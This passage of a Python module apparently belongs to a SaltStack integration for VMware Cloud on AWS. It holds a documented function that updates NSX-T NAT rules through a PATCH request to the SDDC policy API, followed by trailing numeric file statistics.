description=None, tags=vmc_constants.VMC_NONE, sequence_number=None, display_name=None, ): """ Update nat rule for Given SDDC CLI Example: .. code-block:: bash salt vm_minion vmc_nat_rules.update hostname=nsxt-manager.local tier1=cgw ... hostname The host name of NSX-T manager refresh_key refresh_key to get access token authorization_host hostname to get access token org_id org_id of the SDDC sddc_id sddc_id for which nat rules should be updated tier1 tier1 option are cgw and user defined tier1 nat nat option are USER/default/Internal nat_rule id of specific nat rule verify_ssl (Optional) Option to enable/disable SSL verification. Enabled by default. If set to False, the certificate validation is skipped. cert (Optional) Path to the SSL certificate file to connect to NSX-T manager. The certificate can be retrieved from browser. action specify type of nat rule it can have value REFLEXIVE, DNAT REFLEXIVE nat rule require source_network translated_network service should be empty translated_ports should be None destination_network should be none DNAT Rule require destination_network translated_network translated_ports can be none service can be none source_network can be None or input network. destination_network Represents the destination network This supports single IP address or comma separated list of single IP addresses or CIDR. This does not support IP range or IP sets. source_network Represents the source network address This supports single IP address or comma separated list of single IP addresses or CIDR. This does not support IP range or IP sets. translated_network Represents the translated network address This supports single IP address or comma separated list of single IP addresses or CIDR. This does not support IP range or IP sets. translated_ports Port number or port range Please note, if there is service configured in this nat rule, the translated_port will be realized on NSX Manager as the destination_port. If there is no sevice configured, the port will be ignored. scope (Optional) Array of policy paths of labels, ProviderInterface, NetworkInterface If this value is not passed, then ["/infra/labels/cgw-public"] will be used by default. service (Optional) Represents the service on which the nat rule will be applied If this value is not passed, then empty string will be used by default. enabled (Optional) Policy nat rule enabled flag The flag, which suggests whether the nat rule is enabled or disabled. The default is True. firewall_match (Optional) Represents the firewall match flag It indicates how the firewall matches the address after nating if firewall stage is not skipped. possible values: MATCH_EXTERNAL_ADDRESS, MATCH_INTERNAL_ADDRESS Default: "MATCH_INTERNAL_ADDRESS" logging (Optional) Policy nat rule logging flag default: False description (Optional) Description of nat rule tags (Optional) Opaque identifiers meaningful to the API user. Maximum 30 tags can be associated: .. code-block:: tags='[ { "tag": "<tag-key-1>" "scope": "<tag-value-1>" }, { "tag": "<tag-key-2>" "scope": "<tag-value-2>" } ]' sequence_number (Optional) Sequence number of the Nat Rule The sequence_number decides the rule_priority of a nat rule. default: 0 type: int display_name Identifier to use when displaying entity in logs or GUI Example values: .. code-block:: { "action": "REFLEXIVE", "translated_network": "10.182.171.36", "translated_ports": null, "destination_network": "", "source_network": "192.168.1.23", "sequence_number": 0, "service": "", "logging": false, "enabled": false, "scope": [ "/infra/labels/cgw-public" ], "tags": [ { "tag": "tag1", "scope": "scope1" } ], "description": "", "firewall_match": "MATCH_INTERNAL_ADDRESS" } Please refer the `Nat Rule <https://developer.vmware.com/docs/nsx-vmc-policy/latest/data-structures/InlinePolicyNatRule1/>`_ to get insight of input parameters """ log.info("Updating Nat rule %s for SDDC %s ", nat_rule, sddc_id) api_url_base = vmc_request.set_base_url(hostname) api_url = ( "{base_url}vmc/reverse-proxy/api/orgs/{org_id}/sddcs/{sddc_id}/" "policy/api/v1/infra/tier-1s/{tier1}/nat/{nat}/nat-rules/{nat_rule}" ) api_url = api_url.format( base_url=api_url_base, org_id=org_id, sddc_id=sddc_id, tier1=tier1, nat=nat, nat_rule=nat_rule, ) # fetch the nat rule for the given nat_rule existing_data = get_by_id( hostname, refresh_key, authorization_host, org_id, sddc_id, tier1, nat, nat_rule, verify_ssl, cert, ) if vmc_constants.ERROR in existing_data: return existing_data allowed_dict = { "action": action, "description": description, "destination_network": destination_network, "scope": scope, "service": service, "source_network": source_network, "tags": tags, "translated_network": translated_network, "translated_ports": translated_ports, "enabled": enabled, "firewall_match": firewall_match, "logging": logging, "sequence_number": sequence_number, "display_name": display_name, } req_data = vmc_request._filter_kwargs( allowed_kwargs=allowed_dict.keys(), allow_none=["translated_ports", "tags"], **allowed_dict ) payload = vmc_request.create_payload_for_request( vmc_templates.update_nat_rules, req_data, existing_data ) return vmc_request.call_api( method=vmc_constants.PATCH_REQUEST_METHOD, url=api_url, refresh_key=refresh_key, authorization_host=authorization_host, description="vmc_nat_rules.update", responsebody_applicable=False, data=payload, verify_ssl=verify_ssl, cert=cert, )

27.546616

164

0.616904

2,657

21,569

4.820474

0.105382

0.036071

0.013117

0.023189

0.893114

0.887883

0.873829

0.867036

0.860009

0.852983

0

0.007706

0.314155

21,569

782

165

27.581841

0.858109

0.564143

0

0.721429

0

0.017857

0.161109

0.081304

0

1

0.025

false

0

0.017857

0.003571

0.071429

0

null

0

1

0

1

0

null

0

7